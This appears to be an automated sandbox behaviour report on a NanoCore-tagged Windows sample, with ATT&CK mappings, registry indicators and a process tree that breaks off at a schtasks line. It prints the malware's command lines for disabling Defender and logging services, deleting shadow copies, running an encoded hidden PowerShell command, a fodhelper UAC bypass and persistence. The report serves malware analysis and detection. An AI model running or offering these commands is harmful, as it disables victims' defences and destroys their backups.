nanocore | b32f3e3a94cce9e86a2d84840b058372765ed9702f4add1f71b273a52b7a70f8

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	xoilacvae.tv_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	xoilacvae.tv_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
980	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	xoilacvae.tv_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	xoilacvae.tv_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvae.tv_nano.exe"	xoilacvae.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	xoilacvae.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvae.tv_nano.exe"	xoilacvae.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	xoilacvae.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvae.tv_nano.exe"	xoilacvae.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	xoilacvae.tv_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
3172	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\International\Geo\Nation	xoilacvae.tv_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	xoilacvae.tv_nano.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	xoilacvae.tv_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	xoilacvae.tv_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvae.tv_nano.exe"	xoilacvae.tv_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvae.tv_nano.exe"	xoilacvae.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvae.tv_nano.exe"	xoilacvae.tv_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvae.tv_nano.exe"	xoilacvae.tv_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
4220	net.exe
2692	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3484	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\system32\sysupdate.exe	xoilacvae.tv_nano.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	xoilacvae.tv_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	xoilacvae.tv_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	xoilacvae.tv_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	xoilacvae.tv_nano.exe
File created	C:\Windows\system32\svchost.exe	xoilacvae.tv_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1472	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	xoilacvae.tv_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	xoilacvae.tv_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 1 IoCs

persistence privilege_escalation

Debugger Evasion

T1622

pid	Process
1364	xoilacvae.tv_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2596	sc.exe
872	sc.exe
3296	sc.exe
5004	sc.exe
4804	sc.exe
4988	sc.exe
3828	sc.exe
4852	sc.exe
204	sc.exe
672	sc.exe
4788	sc.exe
4648	sc.exe
5052	sc.exe
1108	sc.exe
2884	sc.exe
332	sc.exe
4552	sc.exe
4580	sc.exe
4312	sc.exe
2304	sc.exe
3684	sc.exe
1408	sc.exe
3968	sc.exe
1832	sc.exe
4060	sc.exe
1928	sc.exe
4432	sc.exe
3540	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
780	cmd.exe
4032	cmd.exe
2756	cmd.exe
2060	cmd.exe
1680	cmd.exe
4508	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4500	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3784	NETSTAT.EXE
1144	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2724	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2724	vssadmin.exe
4700	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\WallpaperStyle = "2"	xoilacvae.tv_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open\command	xoilacvae.tv_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell	xoilacvae.tv_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\.pdf\ = "PDFBotnet"	xoilacvae.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvae.tv_nano.exe\" \"%1\""	xoilacvae.tv_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell	xoilacvae.tv_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings	xoilacvae.tv_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open	xoilacvae.tv_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open	xoilacvae.tv_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvae.tv_nano.exe"	xoilacvae.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	xoilacvae.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	xoilacvae.tv_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings	xoilacvae.tv_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open\command\DelegateExecute	xoilacvae.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	xoilacvae.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	xoilacvae.tv_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open\command	xoilacvae.tv_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4632	schtasks.exe
956	schtasks.exe
3304	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
980	powershell.exe
980	powershell.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe
1364	xoilacvae.tv_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1364	xoilacvae.tv_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	980	powershell.exe
Token: SeIncreaseQuotaPrivilege	1668	WMIC.exe
Token: SeSecurityPrivilege	1668	WMIC.exe
Token: SeTakeOwnershipPrivilege	1668	WMIC.exe
Token: SeLoadDriverPrivilege	1668	WMIC.exe
Token: SeSystemProfilePrivilege	1668	WMIC.exe
Token: SeSystemtimePrivilege	1668	WMIC.exe
Token: SeProfSingleProcessPrivilege	1668	WMIC.exe
Token: SeIncBasePriorityPrivilege	1668	WMIC.exe
Token: SeCreatePagefilePrivilege	1668	WMIC.exe
Token: SeBackupPrivilege	1668	WMIC.exe
Token: SeRestorePrivilege	1668	WMIC.exe
Token: SeShutdownPrivilege	1668	WMIC.exe
Token: SeDebugPrivilege	1668	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1668	WMIC.exe
Token: SeRemoteShutdownPrivilege	1668	WMIC.exe
Token: SeUndockPrivilege	1668	WMIC.exe
Token: SeManageVolumePrivilege	1668	WMIC.exe
Token: 33	1668	WMIC.exe
Token: 34	1668	WMIC.exe
Token: 35	1668	WMIC.exe
Token: 36	1668	WMIC.exe
Token: SeDebugPrivilege	1364	xoilacvae.tv_nano.exe
Token: SeIncreaseQuotaPrivilege	1668	WMIC.exe
Token: SeSecurityPrivilege	1668	WMIC.exe
Token: SeTakeOwnershipPrivilege	1668	WMIC.exe
Token: SeLoadDriverPrivilege	1668	WMIC.exe
Token: SeSystemProfilePrivilege	1668	WMIC.exe
Token: SeSystemtimePrivilege	1668	WMIC.exe
Token: SeProfSingleProcessPrivilege	1668	WMIC.exe
Token: SeIncBasePriorityPrivilege	1668	WMIC.exe
Token: SeCreatePagefilePrivilege	1668	WMIC.exe
Token: SeBackupPrivilege	1668	WMIC.exe
Token: SeRestorePrivilege	1668	WMIC.exe
Token: SeShutdownPrivilege	1668	WMIC.exe
Token: SeDebugPrivilege	1668	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1668	WMIC.exe
Token: SeRemoteShutdownPrivilege	1668	WMIC.exe
Token: SeUndockPrivilege	1668	WMIC.exe
Token: SeManageVolumePrivilege	1668	WMIC.exe
Token: 33	1668	WMIC.exe
Token: 34	1668	WMIC.exe
Token: 35	1668	WMIC.exe
Token: 36	1668	WMIC.exe
Token: SeIncBasePriorityPrivilege	1364	xoilacvae.tv_nano.exe
Token: SeDebugPrivilege	3784	NETSTAT.EXE
Token: SeDebugPrivilege	2624	whoami.exe
Token: SeDebugPrivilege	3484	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3000	WMIC.exe
Token: SeSecurityPrivilege	3000	WMIC.exe
Token: SeTakeOwnershipPrivilege	3000	WMIC.exe
Token: SeLoadDriverPrivilege	3000	WMIC.exe
Token: SeSystemProfilePrivilege	3000	WMIC.exe
Token: SeSystemtimePrivilege	3000	WMIC.exe
Token: SeProfSingleProcessPrivilege	3000	WMIC.exe
Token: SeIncBasePriorityPrivilege	3000	WMIC.exe
Token: SeCreatePagefilePrivilege	3000	WMIC.exe
Token: SeBackupPrivilege	3000	WMIC.exe
Token: SeRestorePrivilege	3000	WMIC.exe
Token: SeShutdownPrivilege	3000	WMIC.exe
Token: SeDebugPrivilege	3000	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3000	WMIC.exe
Token: SeRemoteShutdownPrivilege	3000	WMIC.exe
Token: SeUndockPrivilege	3000	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1364	xoilacvae.tv_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 1364 wrote to memory of 980	1364	xoilacvae.tv_nano.exe	86
PID 1364 wrote to memory of 4804	1364	xoilacvae.tv_nano.exe	88
PID 1364 wrote to memory of 4648	1364	xoilacvae.tv_nano.exe	90
PID 1364 wrote to memory of 5052	1364	xoilacvae.tv_nano.exe	92
PID 1364 wrote to memory of 4988	1364	xoilacvae.tv_nano.exe	94
PID 1364 wrote to memory of 2304	1364	xoilacvae.tv_nano.exe	191
PID 1364 wrote to memory of 3828	1364	xoilacvae.tv_nano.exe	98
PID 1364 wrote to memory of 4432	1364	xoilacvae.tv_nano.exe	100
PID 1364 wrote to memory of 1108	1364	xoilacvae.tv_nano.exe	102
PID 1364 wrote to memory of 2884	1364	xoilacvae.tv_nano.exe	104
PID 1364 wrote to memory of 3684	1364	xoilacvae.tv_nano.exe	106
PID 1364 wrote to memory of 3540	1364	xoilacvae.tv_nano.exe	108
PID 1364 wrote to memory of 1408	1364	xoilacvae.tv_nano.exe	110
PID 1364 wrote to memory of 4852	1364	xoilacvae.tv_nano.exe	112
PID 1364 wrote to memory of 204	1364	xoilacvae.tv_nano.exe	114
PID 1364 wrote to memory of 3968	1364	xoilacvae.tv_nano.exe	116
PID 1364 wrote to memory of 332	1364	xoilacvae.tv_nano.exe	118
PID 1364 wrote to memory of 1832	1364	xoilacvae.tv_nano.exe	120
PID 1364 wrote to memory of 2596	1364	xoilacvae.tv_nano.exe	122
PID 1364 wrote to memory of 672	1364	xoilacvae.tv_nano.exe	124
PID 1364 wrote to memory of 872	1364	xoilacvae.tv_nano.exe	126
PID 1364 wrote to memory of 4552	1364	xoilacvae.tv_nano.exe	128
PID 1364 wrote to memory of 4060	1364	xoilacvae.tv_nano.exe	130
PID 1364 wrote to memory of 3296	1364	xoilacvae.tv_nano.exe	132
PID 1364 wrote to memory of 4580	1364	xoilacvae.tv_nano.exe	134
PID 1364 wrote to memory of 4380	1364	xoilacvae.tv_nano.exe	136
PID 1364 wrote to memory of 4312	1364	xoilacvae.tv_nano.exe	137
PID 1364 wrote to memory of 5004	1364	xoilacvae.tv_nano.exe	198
PID 1364 wrote to memory of 2724	1364	xoilacvae.tv_nano.exe	187
PID 1364 wrote to memory of 1668	1364	xoilacvae.tv_nano.exe	143
PID 4380 wrote to memory of 1332	4380	fodhelper.exe	145
PID 1364 wrote to memory of 4632	1364	xoilacvae.tv_nano.exe	146
PID 1364 wrote to memory of 956	1364	xoilacvae.tv_nano.exe	148
PID 1364 wrote to memory of 1268	1364	xoilacvae.tv_nano.exe	152
PID 1364 wrote to memory of 2756	1364	xoilacvae.tv_nano.exe	156
PID 1364 wrote to memory of 4032	1364	xoilacvae.tv_nano.exe	158
PID 1364 wrote to memory of 780	1364	xoilacvae.tv_nano.exe	159
PID 1364 wrote to memory of 4508	1364	xoilacvae.tv_nano.exe	160
PID 1364 wrote to memory of 2060	1364	xoilacvae.tv_nano.exe	161
PID 1364 wrote to memory of 1680	1364	xoilacvae.tv_nano.exe	162
PID 1364 wrote to memory of 3304	1364	xoilacvae.tv_nano.exe	168
PID 1364 wrote to memory of 1472	1364	xoilacvae.tv_nano.exe	170
PID 1364 wrote to memory of 2324	1364	xoilacvae.tv_nano.exe	171
PID 1364 wrote to memory of 3172	1364	xoilacvae.tv_nano.exe	172
PID 1364 wrote to memory of 4788	1364	xoilacvae.tv_nano.exe	202
PID 1364 wrote to memory of 1928	1364	xoilacvae.tv_nano.exe	177
PID 1364 wrote to memory of 2300	1364	xoilacvae.tv_nano.exe	178
PID 1364 wrote to memory of 4500	1364	xoilacvae.tv_nano.exe	179
PID 2324 wrote to memory of 3564	2324	net.exe	182
PID 1680 wrote to memory of 3784	1680	cmd.exe	183
PID 780 wrote to memory of 3484	780	cmd.exe	186
PID 4032 wrote to memory of 2724	4032	cmd.exe	187
PID 2060 wrote to memory of 1144	2060	cmd.exe	185
PID 4508 wrote to memory of 2624	4508	cmd.exe	184
PID 2756 wrote to memory of 4700	2756	cmd.exe	188
PID 1364 wrote to memory of 4220	1364	xoilacvae.tv_nano.exe	189
PID 1364 wrote to memory of 640	1364	xoilacvae.tv_nano.exe	190
PID 2756 wrote to memory of 3000	2756	cmd.exe	193
PID 640 wrote to memory of 3424	640	net.exe	194
PID 4220 wrote to memory of 2692	4220	net.exe	195

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\xoilacvae.tv_nano.exe
"C:\Users\Admin\AppData\Local\Temp\xoilacvae.tv_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:980
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4804
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4648
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5052
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4988
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2304
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3828
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4432
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1108
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2884
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:3684
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:3540
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:1408
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:4852
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:204
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:3968
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:332
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:1832
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:2596
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:672
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:872
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:4552
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:4060
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:3296
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:4580
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4380
- - C:\Users\Admin\AppData\Local\Temp\xoilacvae.tv_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilacvae.tv_nano.exe"
    3⤵
    PID:1332
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4312
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5004
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2724
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1668
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacvae.tv_nano.exe" /sc onlogon /f
